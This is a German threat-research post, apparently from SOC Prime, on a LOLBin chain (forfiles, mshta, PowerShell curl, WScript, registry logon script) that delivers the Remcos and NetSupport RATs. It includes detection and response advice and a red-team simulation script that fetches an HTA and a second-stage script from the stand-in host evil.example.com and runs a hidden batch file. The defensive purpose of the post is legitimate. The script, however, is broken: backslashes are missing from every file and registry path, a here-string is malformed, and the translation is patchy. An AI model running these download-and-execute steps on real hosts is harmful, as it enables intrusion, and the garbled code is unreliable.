SOC Prime Bias: Mittel

23 Jan 2026 15:03 UTC

Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Folgen
Können LOLBins Übermäßig Genutzt Werden, um RAT-Payloads zu Übertragen?
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Dieser Bericht skizziert eine mehrstufige Infektionskette, die aggressiv Windows-eigene Dienstprogramme (LOLBins) missbraucht, um Fernzugriffstools wie Remcos und NetSupport Manager abzurufen und auszuführen. Der Betreiber verknüpft dafür die Befehle forfiles, mshta, PowerShell, curl, tar, WScript und gezielte Registry-Änderungen, um Nutzlasten in Stufen zu verteilen, Persistenz zu etablieren und die Sichtbarkeit zu verringern. Der Ablauf nutzt zudem das Verhalten „Lebendiges-vom-Land“ aus, um sich leise in die routinemäßigen Verwaltungsaktivitäten einzufügen. Malwarebytes identifizierte die Aktivität und blockierte die zugehörige IP-Adresse. Insgesamt unterstreicht es, wie umfangreicher LOLBin-Missbrauch effektiv RATs liefern kann.

Untersuchung

Forscher sahen zuerst, dass forfiles.exe mshta gestartet hat, welches eine bösartige HTA abrief, die PowerShell ausführte, um ein PDF-Decoy zu holen, das ein TAR-Archiv trug. Nach der Extraktion warf eine trojanisierte glaxnimate.exe fragmentierte Komponenten in ProgramData ab, die dann mit WScript, Batch-Skripten und unterstützenden Dateien neu zusammengesetzt und gestartet wurden. Die Persistenz wurde durch das Erstellen eines UserInitMprLogonScript-Werts in HKCUEnvironment festgelegt, der auf eine bösartige Client-Binärdatei verwies.

Minderung

Überwachen Sie auf anomale LOLBin-Ausführungen, insbesondere forfiles, mshta, curl, tar, expand und verdächtige Registry-Bearbeitungen innerhalb von HKCUEnvironment. Durchsetzen der Anwendungswhitelist, umfassendes PowerShell-Logging aktivieren und Skriptausführungen von ProgramData verhindern, um die Inszenierung einzuschränken. Sperren Sie ungewöhnlichen ausgehenden HTTP-Verkehr zu unbekannten IPs und wenden Sie URL-Filter an, um initiale Download-Versuche zu unterbrechen.

Reaktion

Bei Entdeckung isolieren Sie den Host, erfassen Sie vollständige Befehlszeilentelemetriedaten und sammeln Sie abgelegte Artefakte zur Hash-Analyse. Entfernen Sie den bösartigen Registry-Eintrag und löschen Sie in ProgramData erstellte Dateien. Führen Sie einen Endpunkt-Scan mit aktuellen AV-Signaturen aus und implementieren Sie ein netzwerkweites Blockieren der Angreifer-IP-Adresse und aller damit verbundenen Domains.

Angriffsfluss

Simulationsausführung

Voraussetzung: Der Telemetrie- und Basislinien-Vorflug-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Techniken des Gegners (TTP), die darauf abzielen, die Erkennungsregel auszulösen. Die Befehle und die Erzählung müssen direkt die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennung erwartet wird.

  • Angriffserzählung & Befehle:
    Der Rot-Team-Betreiber beabsichtigt, den Remcos RAT einzusetzen, indem eine Kette von LOLBins genutzt wird, um den direkten Download eines ausführbaren Programms zu vermeiden.

    1. Entdeckung & Inszenierung: Use forfiles.exe um ein Zielverzeichnis zu finden und mshta mit einer bösartigen URL zu starten, die eine HTA-Nutzlast hostet.
    2. Dateiloses PowerShell-Download: aufrufen powershell.exe mit -NoProfile -Command curl um ein Skript der zweiten Stufe von einem C2-Server abzurufen.
    3. VBScript-Ausführung: Einen erstellten processor.vbs via WScript.exe bereitstellen, um die RAT-Binärdatei zu schreiben nach %ProgramData%.
    4. Batch-Dropper: Führen Sie eine versteckte Batch-Datei (patcher.bat) über cmd.exe aus, das über IWshShell3.Run aufgerufen wird, um die Persistenz abzuschließen.

    Jeder Schritt erzeugt ein eindeutiges Prozess-Erstellungsereignis, das zu einer der Sigma-Wahlen passt und somit die Regel auslöst.

  • Regressions-Test-Skript:
    Das unten stehende Skript reproduziert die vier Selektionen in einem kontrollierten Labor. Es protokolliert jeden Befehl in einer temporären Datei zur späteren Überprüfung.

    #-------------------------------------------------
    # LOLBin-Missbrauchssimulation – löst Sigma-Regel aus
    #-------------------------------------------------
    $log = "$env:TEMPlolbin_simulation.log"
    Clear-Content -Path $log -ErrorAction SilentlyContinue
    
    # 1. forfiles.exe -> mshta
    $cmd1 = 'forfiles /p C:WindowsSystem32 /m *.exe /c "cmd /c mshta https://evil.example.com/payload.hta"'
    Write-Output "[+] Ausführen: $cmd1" | Tee-Object -FilePath $log
    Invoke-Expression $cmd1
    
    # 2. powershell.exe -> curl download
    $cmd2 = 'powershell.exe -NoProfile -Command "curl https://evil.example.com/stage.ps1 -OutFile $env:TEMPstage.ps1"'
    Write-Output "[+] Ausführen: $cmd2" | Tee-Object -FilePath $log
    Invoke-Expression $cmd2
    
    # 3. wscript.exe -> processor.vbs
    $vbsPath = "$env:ProgramDataprocessor.vbs"
    @"
    Set fso = CreateObject("Scripting.FileSystemObject")
    fso.CreateTextFile("$env:ProgramDataremcos.exe").Write "malicious"
    "@ | Set-Content -Path $vbsPath -Encoding ASCII
    $cmd3 = "C:WindowsSystem32WScript.exe `"$vbsPath`""
    Write-Output "[+] Ausführen: $cmd3" | Tee-Object -FilePath $log
    Invoke-Expression $cmd3
    
    # 4. IWshShell3.Run -> cmd /c patcher.bat
    $batPath = "$env:ProgramDatapatcher.bat"
    "@
    echo @echo off > %TEMP%nothing.txt
    "@ | Set-Content -Path $batPath -Encoding ASCII
    $cmd4 = "cscript //nologo //e:jscript `"var sh = new ActiveXObject('WScript.Shell'); sh.Run('cmd.exe /c %ProgramData%patcher.bat',0,true);`""
    Write-Output "[+] Ausführen: $cmd4 (über IWshShell3.Run)" | Tee-Object -FilePath $log
    Invoke-Expression $cmd4
    
    Write-Output "[+] Simulation abgeschlossen." | Tee-Object -FilePath $log
  • Aufräumkommandos:
    Entfernen Sie Artefakte, um den Host in einen sauberen Zustand zu versetzen.

    # Entfernen von LOLBin-Simulationsartefakten
    Remove-Item -Path "$env:ProgramDataprocessor.vbs" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDataremcos.exe" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:ProgramDatapatcher.bat" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPstage.ps1" -ErrorAction SilentlyContinue
    Remove-Item -Path "$env:TEMPlolbin_simulation.log" -ErrorAction SilentlyContinue
    Write-Output "[+] Aufräumen abgeschlossen."